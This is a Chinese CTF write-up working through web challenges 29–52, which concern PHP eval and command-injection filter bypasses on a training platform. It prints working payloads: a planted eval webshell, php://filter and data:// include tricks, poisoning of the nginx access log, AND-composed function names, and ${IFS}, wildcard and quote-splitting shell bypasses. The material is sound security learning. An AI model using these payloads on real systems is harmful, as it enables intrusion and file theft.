web29
代码如下,可构造另一个放置语句
file_put_contents('1.php', '<?php eval($_POST['x']);');
进行连接。访问上面地址后生成1.php,用蚁剑打开,发现当前目录有flag.php,直接打开编辑找到。
web30
这里隔离了php,system和flag,但是exec是可用的,所以可以用exec+linux的通配符匹配
最终链接
web31
这也限制得太严了,我真不会做,题目限制了小数点符号,限制了空格
原答案是
show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv()
里面有个Decimal Point Character返回小数点符号,真心觉得这也太叼了还能这么搞的,用ascii对应的int来转换应该也可以。pos()
的作用同current()
,用于取得数组上第一个元素。什么?如果小数点符号不在第一个,你不会先去掉第一个啊(pos(localeconv()) = .
scandir()
自然是为了获取当前路径内容了,也可以看到路径下存在一个flag.php
,本题返回的内容为array_reverse()
用于将数组倒置next()
用于获取下一个,作用应该区别于current
,current
获取第一个,此处返回flag.phpshow_source()
用于获取文件内容,用 highlight_file()
应该也问题不大web32~web35
PHP Version: 7.3.11
32到34的区别就在于增加了(:”,<=
题解1
这tm是个啥。。
该题目限制了小数点,限制了空格,甚至限制了echo。
看了一下wp,发现要用到include或者是require拿到flag文件,这里要用到另一个参数来绕过引号限制。
同时使用php://filter/read=convert.base64-encode/resource=flag.php可以读取目录下的flag.php文件并且转换为base64
这里的空格可以用%0a来替换(分题解:前面双引号没被过滤的话,还可以用双引号来搞,直接require”$_GET[1]”;就行了),而直接使用变量$_GET就用不着引号了, ?>用于直接结束文件,这样后面的就无用了。
所以设第一个参数c为
include%0a$_GET[1]?>
,第二个参数1为 php://filter/read=convert.base64-encode/resource=flag.php
就可以拿到flag了,然后去转换一下就行了题解2
原理与上方类似,第一个参数c还是include一个变量并结束,第二个参数可以写入一个php://input,然后直接POST一个raw,内容就是要执行的代码内容,比如直接
这样可以拿到网站目录路径,然后使用scandir拿到目录内容,再使用file_get_contents就可以拿到文件内容了
web36
过滤了数字,那我用字母嘛。。不碍事,直接将0换成a就行了
web37
PHP Version: 7.3.11
题解1
这里直接不装了,摊牌了,直接告诉你禁传flag但是include的就是flag,这好说,把上面的改一改,我直接include一个php://input不行嘛,直接拿到
题解2
使用data数据流,直接 data://text/plain,(这里放一堆字符串),这样php include拿到的就是这堆字符串了。
小解1
直接执行system指令拿到通配符
data://text/plain,<?php system("cat fl*");?>
小解2
要是没法用system指令的话,可以用scandir先拿到flag对应的序号,再file_get
data://text/plain,<?php print_r($dir=scandir("/var/www/html")); echo file_get_contents($dir[2]);?>
总结
顺便插了个shell上去看了一下,发现nginx的log目录是 /var/log/nginx/access.log ,可能后续有用呢
web38
PHP Version: 7.3.11
题解1
通过access.log拿
将User-Agent设为
<?php echo file_get_contents('/var/www/html/flag.php'); ?>
,然后直接读取/var/log/nginx/access.log题解2
通过base64转换将php转为base64
web39
PHP Version: 7.3.11
思路
忽略后面的 .php ,当废物处理
解题方法1
用之前的 data://text/plain 的方法,直接传一个完整的php内容
也就是令 c 为
data://text/plain,<?php system("cat fl*");?>
这里 <?php 可以用 <?=来代替,以此绕过对php的限制
flag也可以在中间加 \ 来绕过匹配。
web40
想法
- 限制了很多,包括数字和符号,但是下面是eval,可以直接执行函数,例如 phpinfo(); 这样的操作是可以的
- 有尝试 base64_decode 的想法,但是被数字拦了
- 有 file_put_content 插shell的想法,但是有.就被拦截
- 有file_get_contents的想法,但是:被拦截
- 有system的想法,但是仅限于ls
题解1
真不会了,直接看题解
题解给的是
show_source(next(array_reverse(scandir(pos(localeconv())))));
,我们可以分布看看到底输出的都是啥东西第一层localeconv()输出
,看样子只是为了拿上面的点,但其实_并没有被屏蔽,可以用__DIR__来获得当前目录的路径。
用pos()可以获得数组第一个元素的内容,这里就是点。
scandir就是扫描目录下的内容,这里返回的内容会是
,所以我们要拿到flag.php。但是这里限制了数字,应该怎么拿到[2]呢?next能取到第二个的位置,但是php一生只能使用一次,用完以后拿到的就是..了。
所以,这里用 array_reverse 将数组倒置,可以获得这样的内容
这样用 next 函数拿到的就是 flag.php 了,这时候再用echo file_get_contents之类的函数拿一下就可以了,也可以用show_source。所以这题还有另一种方法,就是令c为
echo file_get_contents(next(array_reverse(scandir(
DIR
))));
web41
思路
- 这里不允许 ^ 和 ~,所以不允许异或和非
- 但是注意,参与运算的运算符有 + - ^ ~ ,还有一个 | ,这个与运算没有被解决,所以可以用这个计算出实际的运算
解题1
主要的思路就是,给ASCII码表内的每一个字符都起一个单独的与运算表,在程序运行时先对ASCII码表进行与运算,得出两个可以相与后得出对应字符的但又不被正则匹配到的(因为正则要求不包含),然后因为用户输入的都是ASCII码表里面的内容嘛,所以直接把表内的相与的两个结果输出就行了。PHP在对两个字符串进行与操作时,会逐个字符进行与,然后最后输出完整的字符串。
这样就很明朗了,我们把PHP里面包含的正则内容直接丢上Python,然后用(function)(param)的形式来执行命令,这里我们让function为file_get_contents,param为flag.php,就可以拿出内容了
然后输入 file_get_contents 和 flag.php
失败经验
其实这里可以直接用异或的脚本改一下,就可以变成与的脚本了,可惜遇到一点小坑
注意这里不能直接使用APIFox的raw,要用burpsuite来发一个无转义的POST包。并且由于这里用的是echo();,修改的是括号内的内容,理论上其实是可以用);封闭的,但是实际上并不可行,因为你需要使用与运算,而一旦脱离了括号就比较难进行运算,或者是可以进行运算,但是返回结果没办法抛出来,echo的目的就是为了让你能抛出运行结果的,所以用两个括号,括号内进行与运算就可以了。
同样的内容,在APIFox没法读取变量c的内容,而在Burpsuite可以正常返回
算是一个小坑吧hhh,今后记得这种转义的内容要在burpsuite里面跑了
web42
想法
- 这题说白了就是不给你输出,不给输出又咋样呢,文件是可以mv的嘛~那我mv成txt不就行了?
- 也可以用;来截断命令,使后面的不再生效
题解1(可用于Web43)
设定参数c为
mv flag.php flag.txt
,直接访问 /flag.txt题解2
设定参数c为
ls;
,然后再设定参数为 cat flag.txt;
(注意这里有个分号,分号是用来截断的)Web43
想法
这题就是拦截了cat和分号,可以用上题题解1继续,就是mv后再继续,也可以用其他可以展示内容的命令,也可以用||和&&和|和&来隔绝
题解2
令c为
tail flag.php &
,或者将&换成|、||、&&也行web44
想法
你说得对,但是只多了个flag,用*就行啦~懒得写题解了
web45
想法
多了个空格,hmm
ChatGPT 想法
${IFS}
是一个环境变量,表示shell中的内部字段分隔符(Internal Field Separator),默认情况下包括空格、制表符和换行符。当您在命令或参数中使用
${IFS}
时,它将被扩展为当前设置的字段分隔符,这意味着它将把a和b视为两个单独的参数。因此,执行以下命令:将输出:
题解1
真没想到,参考答案~
这里可以用 ${IFS}作为分隔符来绕过空格,所以将上面的命令中的空格替换为 ${IFS}就行了,记得后面还是要加分隔符&&
所以答案就是 tail${IFS}fl*&&
web46
思路
本质也是原有命令的替换,但是还是要注意不要被正则匹配上咯
但这题我一时间还是没想出来,上网参考一下(逃
网上参考
注意这里到底干了啥,主要就是屏蔽了cat,;,$和空格这几个痛点,使得还可以执行原来的mlk
空格可以用TAB替换,而;可以用&&来代替,所以*应该可以用?来代替?
后面的内容也可以用#来屏蔽掉
开搞
最终的成品:c可以为
tail fl?g.php&&
也可以为
tail fl?g.php #
tail也可以改为 tac
mv到新文件也可以嘛~
web47
思路
这里其实给上面未完成的文件展示提供了更多的思路,也就是实际上前面可以用类似 more less head sort tail 这类,tac不一定是每一个系统都有,但是mv总得有嘛~
网上其他思路
可以用nl来代替前面的查看文件,同时中间的空格用 ‘’ 来代替,后面的;用|| &&之类的来代替
开搞
那既然tac没有被屏蔽,直接用就行了,令参数c为
tac fl?g.php #
也可以mv哇,直接mv到一个txt,然后访问
mv fl?g.php test.txt #
web48
思路
屏蔽了更多的查看文件的方法,但我一直用的mv还是没有被屏蔽,哈哈哈
tac也没有被屏蔽,可以直接用,直接用上面的方法就行了
web49
思路
又新增了一些查看文件的命令,直接查就好了
还是用上面的方法,没屏蔽到我的命令~
web50(未完成)
思路
完蛋啦,把我的空格和tab也屏蔽了呜呜呜
那怎么办呢,还是看看网上的方法吧(x
网上的思路
网上的方法,就是用<来代替空格,而且必须用’’,不能用?(但不知道为什么)
尝试1
不知道为什么,用
tac<fl''ag.php|
以后还是没法正确输出,明明已经过了正则自己调试的时候输出的拼接结果是
tac<fl?g.php||>/dev/null 2>&1
,直接跑是可以的但是php就是执行不了,这是为什么呢?
其实是因为,上面用的是管道,单条|,下面是||两条,上面错了
尝试2
按照网上的方法,不用?了,改成’’就可以了。
为什么?????
修改后参数为:
tac<fl''ag.php||
web51
思路
他把tac也屏蔽了www
没事了,好像<当空格的话只能用一次(
直接在tac中间加’’就行了,或者直接加\来绕过
方法1
t''ac<fl''ag.php||
在上一题的基础上,tac中间加两个引号就可以了
或者加\也行,反正就是把连续的给断开
web52
思路
诶?$又回来了,那可以用${IFS}了呀
但是><离我们而去了呜呜呜,还是用${IFS}来代替它吧
做题
让c为
ta''c${IFS}fl''ag.php||
,结束原本我是这么认为的,直到看到输出
草,上当了
pwd看看我的处境先,发现在 /var/www/html
ls${IFS}../../..||
看看根目录的内容,发现flag在根目录但是如果不在根目录应该怎么拿呢?有了,我们可以用find指令,设定参数为
find${IFS}/${IFS}|${IFS}grep${IFS}fl''ag||
,查看一下内容理论上来说,/flag就是我们需要的内容
令参数为
ta''c${IFS}/fl''ag||
,得到flag~